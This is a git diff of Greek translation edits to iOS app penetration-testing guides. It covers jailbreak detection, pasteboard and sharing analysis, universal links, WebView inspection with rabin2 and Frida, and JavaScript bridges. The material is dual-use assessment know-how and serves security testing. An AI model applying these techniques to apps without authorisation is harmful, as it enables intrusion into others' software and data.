||||
- **Semi-untethered jailbreaks** απαιτούν χειροκίνητο επανα-jailbreaking χωρίς την ανάγκη υπολογιστή.
|
||||
- **Untethered jailbreaks** προσφέρουν μια μόνιμη λύση jailbreak χωρίς την ανάγκη επαναφοράς.
|
||||
- **Semi-untethered jailbreaks** απαιτούν χειροκίνητη επανα-εξαίρεση χωρίς την ανάγκη υπολογιστή.
|
||||
- **Untethered jailbreaks** προσφέρουν μια μόνιμη λύση jailbreak χωρίς την ανάγκη επανα-εφαρμογής.
|
||||
|
||||
### Jailbreaking Tools and Resources
|
||||
|
||||
@ -110,7 +110,7 @@ basic-ios-testing-operations.md
|
||||
- Σε μια jailbroken συσκευή, οι εφαρμογές αποκτούν **δικαιώματα ανάγνωσης/εγγραφής σε νέα αρχεία** εκτός του sandbox
|
||||
- Ορισμένες **κλήσεις API** θα **συμπεριφέρονται διαφορετικά**
|
||||
- Η παρουσία της υπηρεσίας **OpenSSH**
|
||||
- Η κλήση του `/bin/sh` θα **επιστρέψει 1** αντί για 0
|
||||
- Η κλήση `/bin/sh` θα **επιστρέψει 1** αντί για 0
|
||||
|
||||
**Περισσότερες πληροφορίες σχετικά με το πώς να ανιχνεύσετε το jailbreaking** [**εδώ**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.**
|
||||
|
||||
|
||||
@ -4,9 +4,9 @@
|
||||
|
||||
# UIActivity Sharing Simplified
|
||||
|
||||
Από το iOS 6 και μετά, οι εφαρμογές τρίτων έχουν τη δυνατότητα να **μοιράζονται δεδομένα** όπως κείμενα, URLs ή εικόνες χρησιμοποιώντας μηχανισμούς όπως το AirDrop, όπως περιγράφεται στον οδηγό [Inter-App Communication](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3) της Apple. Αυτή η δυνατότητα εκδηλώνεται μέσω ενός _συστήματος κοινής χρήσης_ που εμφανίζεται κατά την αλληλεπίδραση με το κουμπί "Κοινή χρήση".
|
||||
Από το iOS 6 και μετά, οι εφαρμογές τρίτων έχουν τη δυνατότητα να **μοιράζονται δεδομένα** όπως κείμενα, URLs ή εικόνες χρησιμοποιώντας μηχανισμούς όπως το AirDrop, όπως περιγράφεται στον οδηγό [Inter-App Communication](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3) της Apple. Αυτή η δυνατότητα εκδηλώνεται μέσω ενός _sheet δραστηριότητας κοινής χρήσης_ που εμφανίζεται κατά την αλληλεπίδραση με το κουμπί "Κοινή χρήση".
|
||||
|
||||
Μια ολοκληρωμένη απαρίθμηση όλων των ενσωματωμένων επιλογών κοινής χρήσης είναι διαθέσιμη στο [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Οι προγραμματιστές μπορεί να επιλέξουν να αποκλείσουν συγκεκριμένες επιλογές κοινής χρήσης αν τις θεωρούν ακατάλληλες για την εφαρμογή τους.
|
||||
Μια ολοκληρωμένη απαρίθμηση όλων των ενσωματωμένων επιλογών κοινής χρήσης είναι διαθέσιμη στο [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Οι προγραμματιστές μπορούν να επιλέξουν να αποκλείσουν συγκεκριμένες επιλογές κοινής χρήσης αν τις θεωρούν ακατάλληλες για την εφαρμογή τους.
|
||||
|
||||
## **How to Share Data**
|
||||
|
||||
@ -31,7 +31,7 @@ $ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
|
||||
- Η καθορισμένη **τύποι εγγράφων που μπορεί να ανοίξει η εφαρμογή**.
|
||||
- Η επαλήθευση της **ακεραιότητας των ληφθέντων δεδομένων**.
|
||||
|
||||
Χωρίς πρόσβαση στον πηγαίο κώδικα, μπορεί κανείς να ελέγξει το `Info.plist` για κλειδιά όπως `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations` και `CFBundleDocumentTypes` για να κατανοήσει τους τύπους εγγράφων που μπορεί να χειριστεί και να δηλώσει μια εφαρμογή.
|
||||
Χωρίς πρόσβαση στον πηγαίο κώδικα, μπορεί κανείς να εξετάσει το `Info.plist` για κλειδιά όπως `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations`, και `CFBundleDocumentTypes` για να κατανοήσει τους τύπους εγγράφων που μπορεί να χειριστεί και να δηλώσει μια εφαρμογή.
|
||||
|
||||
Ένας συνοπτικός οδηγός για αυτά τα κλειδιά είναι διαθέσιμος στο [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i), τονίζοντας τη σημασία του καθορισμού και της εισαγωγής UTIs για αναγνώριση σε επίπεδο συστήματος και της συσχέτισης τύπων εγγράφων με την εφαρμογή σας για ενσωμάτωση στο διάλογο "Άνοιγμα με...".
|
||||
|
||||
@ -42,7 +42,7 @@ $ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
|
||||
- Συνδέσετε τη μέθοδο `init(activityItems:applicationActivities:)` για να καταγράψετε τα στοιχεία και τις δραστηριότητες που κοινοποιούνται.
|
||||
- Εντοπίσετε τις αποκλεισμένες δραστηριότητες παρεμβαίνοντας στην ιδιότητα `excludedActivityTypes`.
|
||||
|
||||
Για **τη λήψη στοιχείων**, περιλαμβάνει:
|
||||
Για **λήψη στοιχείων**, περιλαμβάνει:
|
||||
|
||||
- Κοινοποίηση ενός αρχείου με την εφαρμογή από άλλη πηγή (π.χ., AirDrop, email) που προκαλεί το διάλογο "Άνοιγμα με...".
|
||||
- Συνδέοντας `application:openURL:options:` μεταξύ άλλων μεθόδων που εντοπίστηκαν κατά τη διάρκεια της στατικής ανάλυσης για να παρατηρήσετε την αντίδραση της εφαρμογής.
|
||||
|
||||
@ -3,7 +3,7 @@
|
||||
Η κοινή χρήση δεδομένων εντός και μεταξύ εφαρμογών σε συσκευές iOS διευκολύνεται από τον μηχανισμό [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), ο οποίος χωρίζεται σε δύο κύριες κατηγορίες:
|
||||
|
||||
- **Γενικό σύστημα pasteboard**: Αυτό χρησιμοποιείται για την κοινή χρήση δεδομένων με **οποιαδήποτε εφαρμογή** και έχει σχεδιαστεί για να διατηρεί δεδομένα κατά τη διάρκεια επανεκκινήσεων της συσκευής και απεγκαταστάσεων εφαρμογών, μια δυνατότητα που είναι διαθέσιμη από το iOS 10.
|
||||
- **Προσαρμοσμένα / Ονομασμένα pasteboards**: Αυτά είναι ειδικά για την κοινή χρήση δεδομένων **εντός μιας εφαρμογής ή με άλλη εφαρμογή** που μοιράζεται το ίδιο ID ομάδας, και δεν έχουν σχεδιαστεί για να διατηρούνται πέρα από τη διάρκεια της διαδικασίας εφαρμογής που τα δημιουργεί, ακολουθώντας τις αλλαγές που εισήχθησαν στο iOS 10.
|
||||
- **Προσαρμοσμένα / Ονομασμένα pasteboards**: Αυτά είναι ειδικά για την κοινή χρήση δεδομένων **εντός μιας εφαρμογής ή με άλλη εφαρμογή** που μοιράζεται το ίδιο ID ομάδας και δεν έχουν σχεδιαστεί για να διατηρούνται πέρα από τη διάρκεια της διαδικασίας εφαρμογής που τα δημιουργεί, ακολουθώντας τις αλλαγές που εισήχθησαν στο iOS 10.
|
||||
|
||||
**Σκέψεις ασφαλείας** παίζουν σημαντικό ρόλο κατά τη χρήση των pasteboards. Για παράδειγμα:
|
||||
|
||||
@ -19,7 +19,7 @@
|
||||
Για στατική ανάλυση, αναζητήστε τον πηγαίο κώδικα ή το δυαδικό αρχείο για:
|
||||
|
||||
- `generalPasteboard` για να προσδιορίσετε τη χρήση του **γενικού συστήματος pasteboard**.
|
||||
- `pasteboardWithName:create:` και `pasteboardWithUniqueName` για τη δημιουργία **προσαρμοσμένων pasteboards**. Ελέγξτε αν είναι ενεργοποιημένη η διατήρηση, αν και αυτό είναι απαρχαιωμένο.
|
||||
- `pasteboardWithName:create:` και `pasteboardWithUniqueName` για τη δημιουργία **προσαρμοσμένων pasteboards**. Επαληθεύστε αν είναι ενεργοποιημένη η διατήρηση, αν και αυτό είναι αποσυρμένο.
|
||||
|
||||
### Δυναμική Ανάλυση
|
||||
|
||||
@ -27,12 +27,12 @@
|
||||
|
||||
- Παρακολουθήστε το `generalPasteboard` για τη χρήση σε επίπεδο συστήματος.
|
||||
- Ιχνηλατήστε το `pasteboardWithName:create:` και `pasteboardWithUniqueName` για προσαρμοσμένες υλοποιήσεις.
|
||||
- Παρακολουθήστε τις κλήσεις της απαρχαιωμένης μεθόδου `setPersistent:` για να ελέγξετε τις ρυθμίσεις διατήρησης.
|
||||
- Παρακολουθήστε τις αποσυρμένες κλήσεις μεθόδου `setPersistent:` για να ελέγξετε τις ρυθμίσεις διατήρησης.
|
||||
|
||||
Κύριες λεπτομέρειες που πρέπει να παρακολουθούνται περιλαμβάνουν:
|
||||
|
||||
- **Ονόματα pasteboard** και **περιεχόμενα** (για παράδειγμα, έλεγχος για συμβολοσειρές, URLs, εικόνες).
|
||||
- **Αριθμός στοιχείων** και **τύποι δεδομένων** που υπάρχουν, αξιοποιώντας ελέγχους τυπικών και προσαρμοσμένων τύπων δεδομένων.
|
||||
- **Αριθμός στοιχείων** και **τύποι δεδομένων** που υπάρχουν, αξιοποιώντας τυπικούς και προσαρμοσμένους ελέγχους τύπων δεδομένων.
|
||||
- **Επιλογές λήξης και τοπικών μόνο** ελέγχοντας τη μέθοδο `setItems:options:`.
|
||||
|
||||
Ένα παράδειγμα χρήσης εργαλείου παρακολούθησης είναι ο **παρακολούθηση pasteboard του objection**, που ελέγχει το generalPasteboard κάθε 5 δευτερόλεπτα για αλλαγές και εξάγει τα νέα δεδομένα.
|
||||
|
||||
@ -4,9 +4,9 @@
|
||||
|
||||
## Εισαγωγή
|
||||
|
||||
Universal links προσφέρουν μια **αδιάκοπη εμπειρία ανακατεύθυνσης** στους χρήστες, ανοίγοντας απευθείας το περιεχόμενο στην εφαρμογή, παρακάμπτοντας την ανάγκη για ανακατεύθυνση μέσω Safari. Αυτοί οι σύνδεσμοι είναι **μοναδικοί** και ασφαλείς, καθώς δεν μπορούν να διεκδικηθούν από άλλες εφαρμογές. Αυτό διασφαλίζεται με τη φιλοξενία ενός αρχείου `apple-app-site-association` JSON στον ριζικό κατάλογο της ιστοσελίδας, καθορίζοντας έναν επαληθεύσιμο σύνδεσμο μεταξύ της ιστοσελίδας και της εφαρμογής. Σε περιπτώσεις όπου η εφαρμογή δεν είναι εγκατεστημένη, το Safari θα αναλάβει και θα κατευθύνει τον χρήστη στη σελίδα, διατηρώντας την παρουσία της εφαρμογής.
|
||||
Universal links προσφέρουν μια **αδιάκοπη εμπειρία ανακατεύθυνσης** στους χρήστες, ανοίγοντας απευθείας περιεχόμενο στην εφαρμογή, παρακάμπτοντας την ανάγκη για ανακατεύθυνση μέσω Safari. Αυτοί οι σύνδεσμοι είναι **μοναδικοί** και ασφαλείς, καθώς δεν μπορούν να διεκδικηθούν από άλλες εφαρμογές. Αυτό διασφαλίζεται με τη φιλοξενία ενός αρχείου `apple-app-site-association` JSON στον ριζικό κατάλογο της ιστοσελίδας, καθορίζοντας έναν επαληθεύσιμο σύνδεσμο μεταξύ της ιστοσελίδας και της εφαρμογής. Σε περιπτώσεις όπου η εφαρμογή δεν είναι εγκατεστημένη, το Safari θα αναλάβει και θα κατευθύνει τον χρήστη στη σελίδα, διατηρώντας την παρουσία της εφαρμογής.
|
||||
|
||||
Για τους penetration testers, το αρχείο `apple-app-site-association` είναι ιδιαίτερα ενδιαφέρον καθώς μπορεί να αποκαλύψει **ευαίσθητους δρόμους**, πιθανώς περιλαμβάνοντας αυτούς που σχετίζονται με μη δημοσιευμένα χαρακτηριστικά.
|
||||
Για τους penetration testers, το αρχείο `apple-app-site-association` είναι ιδιαίτερα ενδιαφέρον καθώς μπορεί να αποκαλύψει **ευαίσθητους διαδρόμους**, πιθανώς περιλαμβάνοντας αυτούς που σχετίζονται με μη δημοσιευμένα χαρακτηριστικά.
|
||||
|
||||
### **Ανάλυση του Δικαιώματος Σχετικών Τομέων**
|
||||
|
||||
@ -18,7 +18,7 @@ Universal links προσφέρουν μια **αδιάκοπη εμπειρία
|
||||
<string>applinks:t.me</string>
|
||||
</array>
|
||||
```
|
||||
Για πιο ολοκληρωμένες πληροφορίες, ανατρέξτε στην [αρχειοθετημένη Τεκμηρίωση Προγραμματιστών της Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
|
||||
Για πιο ολοκληρωμένες πληροφορίες, ανατρέξτε στην [αρχειοθετημένη τεκμηρίωση προγραμματιστών της Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
|
||||
|
||||
Εάν εργάζεστε με μια μεταγλωττισμένη εφαρμογή, τα δικαιώματα μπορούν να εξαχθούν όπως περιγράφεται σε [αυτήν την οδηγία](extracting-entitlements-from-compiled-application.md).
|
||||
|
||||
@ -26,13 +26,13 @@ Universal links προσφέρουν μια **αδιάκοπη εμπειρία
|
||||
|
||||
Το αρχείο `apple-app-site-association` θα πρέπει να ανακτηθεί από τον διακομιστή χρησιμοποιώντας τα domains που καθορίζονται στα δικαιώματα. Βεβαιωθείτε ότι το αρχείο είναι προσβάσιμο μέσω HTTPS απευθείας στο `https://<domain>/apple-app-site-association`. Εργαλεία όπως ο [Επαληθευτής Συσχέτισης Ιστοσελίδας της Apple App (AASA)](https://branch.io/resources/aasa-validator/) μπορούν να βοηθήσουν σε αυτή τη διαδικασία.
|
||||
|
||||
### **Διαχείριση των Universal Links στην Εφαρμογή**
|
||||
### **Διαχείριση Καθολικών Συνδέσμων στην Εφαρμογή**
|
||||
|
||||
Η εφαρμογή πρέπει να υλοποιήσει συγκεκριμένες μεθόδους για να διαχειριστεί σωστά τους universal links. Η κύρια μέθοδος που πρέπει να αναζητηθεί είναι [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). Είναι κρίσιμο ότι το σχήμα των URLs που διαχειρίζεται είναι HTTP ή HTTPS, καθώς άλλα δεν θα υποστηρίζονται.
|
||||
Η εφαρμογή πρέπει να υλοποιήσει συγκεκριμένες μεθόδους για να διαχειρίζεται σωστά τους καθολικούς συνδέσμους. Η κύρια μέθοδος που πρέπει να αναζητηθεί είναι [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). Είναι κρίσιμο ότι το σχήμα των URLs που διαχειρίζεται είναι HTTP ή HTTPS, καθώς άλλα δεν θα υποστηρίζονται.
|
||||
|
||||
#### **Επικύρωση της Μεθόδου Διαχείρισης Δεδομένων**
|
||||
|
||||
Όταν ένας universal link ανοίγει μια εφαρμογή, ένα αντικείμενο `NSUserActivity` μεταφέρεται στην εφαρμογή με το URL. Πριν από την επεξεργασία αυτού του URL, είναι απαραίτητο να το επικυρώσετε και να το καθαρίσετε για να αποφευχθούν κίνδυνοι ασφαλείας. Ακολουθεί ένα παράδειγμα σε Swift που δείχνει τη διαδικασία:
|
||||
Όταν ένας καθολικός σύνδεσμος ανοίγει μια εφαρμογή, ένα αντικείμενο `NSUserActivity` μεταφέρεται στην εφαρμογή με το URL. Πριν από την επεξεργασία αυτού του URL, είναι απαραίτητο να το επικυρώσετε και να το καθαρίσετε για να αποφευχθούν κίνδυνοι ασφαλείας. Ακολουθεί ένα παράδειγμα σε Swift που δείχνει τη διαδικασία:
|
||||
```swift
|
||||
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
|
||||
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
|
||||
@ -44,7 +44,7 @@ application.open(url, options: [:], completionHandler: nil)
|
||||
return true
|
||||
}
|
||||
```
|
||||
Οι διευθύνσεις URL θα πρέπει να αναλύονται και να επικυρώνονται προσεκτικά, ειδικά αν περιλαμβάνουν παραμέτρους, για να προστατευτούν από πιθανή παραχάραξη ή κακώς διαμορφωμένα δεδομένα. Η API `NSURLComponents` είναι χρήσιμη για αυτόν τον σκοπό, όπως αποδεικνύεται παρακάτω:
|
||||
Οι διευθύνσεις URL θα πρέπει να αναλύονται και να επικυρώνονται προσεκτικά, ειδικά αν περιλαμβάνουν παραμέτρους, για να προστατευτούν από πιθανή παραποίηση ή κακώς διαμορφωμένα δεδομένα. Η API `NSURLComponents` είναι χρήσιμη για αυτόν τον σκοπό, όπως αποδεικνύεται παρακάτω:
|
||||
```swift
|
||||
func application(_ application: UIApplication,
|
||||
continue userActivity: NSUserActivity,
|
||||
|
||||
@ -39,25 +39,25 @@ $ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
||||
```
|
||||
Ομοίως, για το **WKWebView**, αυτή η εντολή αναζητά το δυαδικό αρχείο για κείμενα που υποδηλώνουν τη χρήση του.
|
||||
|
||||
Επιπλέον, για να βρείτε πώς αρχικοποιείται ένα **WKWebView**, εκτελείται η ακόλουθη εντολή, στοχεύοντας την υπογραφή μεθόδου που σχετίζεται με την αρχικοποίησή του:
|
||||
Επιπλέον, για να βρείτε πώς αρχικοποιείται ένα **WKWebView**, εκτελείται η παρακάτω εντολή, στοχεύοντας την υπογραφή μεθόδου που σχετίζεται με την αρχικοποίησή του:
|
||||
```bash
|
||||
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
||||
```
|
||||
#### **Επαλήθευση Ρυθμίσεων JavaScript**
|
||||
|
||||
Για **WKWebView**, τονίζεται ότι η απενεργοποίηση του JavaScript είναι μια καλύτερη πρακτική εκτός αν απαιτείται. Αναζητείται το συμπιεσμένο δυαδικό αρχείο για να επιβεβαιωθεί ότι η ιδιότητα `javaScriptEnabled` είναι ρυθμισμένη σε `false`, διασφαλίζοντας ότι το JavaScript είναι απενεργοποιημένο:
|
||||
Για **WKWebView**, τονίζεται ότι η απενεργοποίηση του JavaScript είναι μια καλύτερη πρακτική εκτός αν απαιτείται. Ο συμπιεσμένος δυαδικός κώδικας αναζητείται για να επιβεβαιωθεί ότι η ιδιότητα `javaScriptEnabled` είναι ρυθμισμένη σε `false`, διασφαλίζοντας ότι το JavaScript είναι απενεργοποιημένο:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
||||
```
|
||||
#### **Μόνο Έλεγχος Ασφαλούς Περιεχομένου**
|
||||
#### **Μόνο Έγκυρη Επαλήθευση Περιεχομένου**
|
||||
|
||||
**WKWebView** προσφέρει τη δυνατότητα να εντοπίζει ζητήματα μικτού περιεχομένου, σε αντίθεση με το **UIWebView**. Αυτό ελέγχεται χρησιμοποιώντας την ιδιότητα `hasOnlySecureContent` για να διασφαλιστεί ότι όλοι οι πόροι της σελίδας φορτώνονται μέσω ασφαλών συνδέσεων. Η αναζήτηση στο μεταγλωττισμένο δυαδικό αρχείο πραγματοποιείται ως εξής:
|
||||
**WKWebView** προσφέρει τη δυνατότητα να εντοπίζει ζητήματα μικτού περιεχομένου, σε αντίθεση με το **UIWebView**. Αυτό ελέγχεται χρησιμοποιώντας την ιδιότητα `hasOnlySecureContent` για να διασφαλιστεί ότι όλοι οι πόροι της σελίδας φορτώνονται μέσω ασφαλών συνδέσεων. Η αναζήτηση στο συμπιεσμένο δυαδικό αρχείο πραγματοποιείται ως εξής:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
||||
```
|
||||
### **Ευρήματα Δυναμικής Ανάλυσης**
|
||||
|
||||
Η δυναμική ανάλυση περιλαμβάνει την επιθεώρηση της σωρού για τις περιπτώσεις WebView και τις ιδιότητές τους. Ένα σενάριο με όνομα `webviews_inspector.js` χρησιμοποιείται για αυτόν τον σκοπό, στοχεύοντας τις περιπτώσεις `UIWebView`, `WKWebView` και `SFSafariViewController`. Καταγράφει πληροφορίες σχετικά με τις βρεθείσες περιπτώσεις, συμπεριλαμβανομένων των διευθύνσεων URL και των ρυθμίσεων που σχετίζονται με το JavaScript και το ασφαλές περιεχόμενο.
|
||||
Η δυναμική ανάλυση περιλαμβάνει την επιθεώρηση της σωρού για τις περιπτώσεις WebView και τις ιδιότητές τους. Ένα σενάριο με όνομα `webviews_inspector.js` χρησιμοποιείται για αυτόν τον σκοπό, στοχεύοντας σε περιπτώσεις `UIWebView`, `WKWebView` και `SFSafariViewController`. Καταγράφει πληροφορίες σχετικά με τις βρεθείσες περιπτώσεις, συμπεριλαμβανομένων των διευθύνσεων URL και των ρυθμίσεων που σχετίζονται με το JavaScript και το ασφαλές περιεχόμενο.
|
||||
|
||||
Η επιθεώρηση της σωρού μπορεί να διεξαχθεί χρησιμοποιώντας το `ObjC.choose()` για να εντοπιστούν οι περιπτώσεις WebView και να ελεγχθούν οι ιδιότητες `javaScriptEnabled` και `hasonlysecurecontent`.
|
||||
```javascript:webviews_inspector.js
|
||||
@ -114,17 +114,17 @@ frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
||||
**Κύρια Αποτελέσματα**:
|
||||
|
||||
- Οι περιπτώσεις των WebViews εντοπίζονται και επιθεωρούνται με επιτυχία.
|
||||
- Η ενεργοποίηση JavaScript και οι ρυθμίσεις ασφαλούς περιεχομένου επαληθεύονται.
|
||||
- Η ενεργοποίηση JavaScript και οι ρυθμίσεις ασφαλούς περιεχομένου επιβεβαιώνονται.
|
||||
|
||||
Αυτή η σύνοψη περιλαμβάνει τα κρίσιμα βήματα και τις εντολές που εμπλέκονται στην ανάλυση των ρυθμίσεων WebView μέσω στατικών και δυναμικών προσεγγίσεων, εστιάζοντας σε χαρακτηριστικά ασφαλείας όπως η ενεργοποίηση JavaScript και η ανίχνευση μικτού περιεχομένου.
|
||||
|
||||
## Διαχείριση Πρωτοκόλλου WebView
|
||||
|
||||
Η διαχείριση περιεχομένου στα WebViews είναι μια κρίσιμη πτυχή, ειδικά όταν ασχολούμαστε με διάφορα πρωτόκολλα όπως το `http(s)://`, `file://`, και `tel://`. Αυτά τα πρωτόκολλα επιτρέπουν τη φόρτωση τόσο απομακρυσμένου όσο και τοπικού περιεχομένου εντός των εφαρμογών. Τονίζεται ότι κατά τη φόρτωση τοπικού περιεχομένου, πρέπει να ληφθούν προφυλάξεις για να αποτραπεί η επιρροή των χρηστών στο όνομα ή τη διαδρομή του αρχείου και στην επεξεργασία του περιεχομένου αυτού καθαυτού.
|
||||
Η διαχείριση περιεχομένου σε WebViews είναι μια κρίσιμη πτυχή, ειδικά όταν ασχολούμαστε με διάφορα πρωτόκολλα όπως `http(s)://`, `file://`, και `tel://`. Αυτά τα πρωτόκολλα επιτρέπουν τη φόρτωση τόσο απομακρυσμένου όσο και τοπικού περιεχομένου εντός εφαρμογών. Τονίζεται ότι κατά τη φόρτωση τοπικού περιεχομένου, πρέπει να ληφθούν προφυλάξεις για να αποτραπεί η επιρροή των χρηστών στο όνομα ή τη διαδρομή του αρχείου και στην επεξεργασία του περιεχομένου.
|
||||
|
||||
**WebViews** προσφέρουν διάφορες μεθόδους για τη φόρτωση περιεχομένου. Για το **UIWebView**, που έχει πλέον καταργηθεί, χρησιμοποιούνται μέθοδοι όπως `loadHTMLString:baseURL:` και `loadData:MIMEType:textEncodingName:baseURL:`. Το **WKWebView**, από την άλλη πλευρά, χρησιμοποιεί `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:`, και `loadRequest:` για το διαδικτυακό περιεχόμενο. Μέθοδοι όπως `pathForResource:ofType:`, `URLForResource:withExtension:`, και `init(contentsOf:encoding:)` χρησιμοποιούνται συνήθως για τη φόρτωση τοπικών αρχείων. Η μέθοδος `loadFileURL:allowingReadAccessToURL:` είναι ιδιαίτερα αξιοσημείωτη για την ικανότητά της να φορτώνει μια συγκεκριμένη διεύθυνση URL ή κατάλογο στο WebView, ενδεχομένως εκθέτοντας ευαίσθητα δεδομένα αν καθοριστεί ένας κατάλογος.
|
||||
|
||||
Για να βρείτε αυτές τις μεθόδους στον πηγαίο κώδικα ή στο μεταγλωττισμένο δυαδικό, μπορούν να χρησιμοποιηθούν εντολές όπως οι παρακάτω:
|
||||
Για να βρείτε αυτές τις μεθόδους στον πηγαίο κώδικα ή στο μεταγλωττισμένο δυαδικό, μπορούν να χρησιμοποιηθούν εντολές όπως οι εξής:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
||||
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
||||
@ -185,9 +185,9 @@ xhr.send(null)
|
||||
|
||||
## Understanding WebView Native Interfaces in iOS
|
||||
|
||||
Από το iOS 7 και μετά, η Apple παρείχε APIs για **επικοινωνία μεταξύ JavaScript σε ένα WebView και native** Swift ή Objective-C αντικειμένων. Αυτή η ενσωμάτωση διευκολύνεται κυρίως μέσω δύο μεθόδων:
|
||||
Από το iOS 7 και μετά, η Apple παρείχε APIs για **επικοινωνία μεταξύ JavaScript σε ένα WebView και native** αντικειμένων Swift ή Objective-C. Αυτή η ενσωμάτωση διευκολύνεται κυρίως μέσω δύο μεθόδων:
|
||||
|
||||
- **JSContext**: Μια JavaScript συνάρτηση δημιουργείται αυτόματα όταν ένα Swift ή Objective-C μπλοκ συνδέεται με έναν αναγνωριστή εντός ενός `JSContext`. Αυτό επιτρέπει την απρόσκοπτη ενσωμάτωση και επικοινωνία μεταξύ JavaScript και native κώδικα.
|
||||
- **JSContext**: Μια JavaScript συνάρτηση δημιουργείται αυτόματα όταν ένα Swift ή Objective-C μπλοκ συνδέεται με έναν αναγνωριστικό μέσα σε ένα `JSContext`. Αυτό επιτρέπει την απρόσκοπτη ενσωμάτωση και επικοινωνία μεταξύ JavaScript και native κώδικα.
|
||||
- **JSExport Protocol**: Με την κληρονομιά του πρωτοκόλλου `JSExport`, native ιδιότητες, μεθόδοι στιγμιότυπων και μέθοδοι κλάσης μπορούν να εκτεθούν στη JavaScript. Αυτό σημαίνει ότι οποιεσδήποτε αλλαγές γίνονται στο περιβάλλον JavaScript αντικατοπτρίζονται στο native περιβάλλον και το αντίστροφο. Ωστόσο, είναι σημαντικό να διασφαλιστεί ότι ευαίσθητα δεδομένα δεν εκτίθενται ακούσια μέσω αυτής της μεθόδου.
|
||||
|
||||
### Accessing `JSContext` in Objective-C
|
||||
@ -258,11 +258,11 @@ message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
||||
|
||||
Για να αποσφαλματώσετε αποτελεσματικά το περιεχόμενο ιστού μέσα σε iOS webviews, απαιτείται μια συγκεκριμένη ρύθμιση που περιλαμβάνει τα εργαλεία προγραμματιστών του Safari, λόγω του γεγονότος ότι τα μηνύματα που αποστέλλονται στο `console.log()` δεν εμφανίζονται στα αρχεία καταγραφής του Xcode. Ακολουθεί ένας απλοποιημένος οδηγός, τονίζοντας τα κύρια βήματα και τις απαιτήσεις:
|
||||
|
||||
- **Προετοιμασία στη συσκευή iOS**: Ο Safari Web Inspector πρέπει να ενεργοποιηθεί στη συσκευή iOS σας. Αυτό γίνεται πηγαίνοντας στις **Ρυθμίσεις > Safari > Προηγμένα**, και ενεργοποιώντας τον _Web Inspector_.
|
||||
- **Προετοιμασία στη συσκευή iOS**: Ο Web Inspector του Safari πρέπει να ενεργοποιηθεί στη συσκευή iOS σας. Αυτό γίνεται πηγαίνοντας στις **Ρυθμίσεις > Safari > Προηγμένα**, και ενεργοποιώντας τον _Web Inspector_.
|
||||
|
||||
- **Προετοιμασία στη συσκευή macOS**: Στη μηχανή ανάπτυξης macOS σας, πρέπει να ενεργοποιήσετε τα εργαλεία προγραμματιστών μέσα στο Safari. Εκκινήστε το Safari, αποκτήστε πρόσβαση στις **Ρυθμίσεις > Προτιμήσεις > Προηγμένα**, και επιλέξτε την επιλογή για _Εμφάνιση μενού Ανάπτυξης_.
|
||||
|
||||
- **Σύνδεση και Αποσφαλμάτωση**: Αφού συνδέσετε τη συσκευή iOS σας με τον υπολογιστή macOS και εκκινήσετε την εφαρμογή σας, χρησιμοποιήστε το Safari στη συσκευή macOS σας για να επιλέξετε το webview που θέλετε να αποσφαλματώσετε. Μεταβείτε στο _Ανάπτυξη_ στη γραμμή μενού του Safari, περάστε το ποντίκι πάνω από το όνομα της συσκευής iOS σας για να δείτε μια λίστα με τις περιπτώσεις webview, και επιλέξτε την περίπτωση που θέλετε να επιθεωρήσετε. Ένα νέο παράθυρο Safari Web Inspector θα ανοίξει για αυτόν τον σκοπό.
|
||||
- **Σύνδεση και Αποσφαλμάτωση**: Αφού συνδέσετε τη συσκευή iOS σας με τον υπολογιστή macOS και εκκινήσετε την εφαρμογή σας, χρησιμοποιήστε το Safari στη συσκευή macOS σας για να επιλέξετε το webview που θέλετε να αποσφαλματώσετε. Μεταβείτε στο _Ανάπτυξη_ στη γραμμή μενού του Safari, περάστε το ποντίκι πάνω από το όνομα της συσκευής iOS σας για να δείτε μια λίστα με τις περιπτώσεις webview, και επιλέξτε την περίπτωση που θέλετε να επιθεωρήσετε. Ένα νέο παράθυρο Web Inspector του Safari θα ανοίξει για αυτόν τον σκοπό.
|
||||
|
||||
Ωστόσο, να είστε προσεκτικοί με τους περιορισμούς:
|
||||
|
||||
|
||||
@ -56,7 +56,7 @@ pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
||||
|
||||
### Επαναυπογραφή
|
||||
|
||||
